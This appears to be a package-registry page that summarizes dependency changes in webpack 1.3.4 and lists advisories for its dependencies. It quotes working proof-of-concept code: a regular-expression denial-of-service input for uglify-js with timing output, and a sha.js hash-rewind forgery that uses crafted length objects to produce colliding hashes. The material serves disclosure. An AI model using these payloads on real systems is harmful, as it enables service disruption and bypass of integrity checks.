Webpack version 1.3.4 introduces several key updates and improvements compared to its predecessor, version 1.1.11, offering developers enhanced functionality and a more robust module bundling experience. A significant change lies in the updated dependencies. Version 1.3.4 upgrades several core dependencies like async (from 0.2.x to 0.9.x), esprima (from 1.0.x to 1.2.x), tapable (from 0.1.x to ~0.1.6), webpack-core (from 0.3.x to 0.4.x), and node-libs-browser (from 0.2.x to ~0.3.1). These upgrades likely address bug fixes, performance improvements, and new features within those respective libraries, indirectly benefiting webpack users.
Furthermore, the development dependencies showcase subtle but potentially impactful changes. While many loaders remain at similar versions, the update to extract-text-webpack-plugin (from 0.1.x to 0.2.x) in version 1.3.4 suggests potential improvements in how CSS is extracted and handled during the bundling process. Dependencies were updated to newer stable version to enjoy new features or remove security issues.
Given webpack's core function of module bundling for browsers, these updates translate to a more efficient and feature-rich development workflow. Developers can expect better compatibility with newer JavaScript syntax, improved performance during the bundling process, and potentially enhanced capabilities for handling various asset types like CSS and other preprocessed files thanks to the updated loaders and plugins. Considering releaseDate of new version being August 2014, and old version May 2014, the updates suggest important bug fixes.
All the vulnerabilities related to the version 1.3.4 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js
, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer
or string
, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}
. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf
, but can be treated by other code differently (e.g. bn.js){length:'1e99'}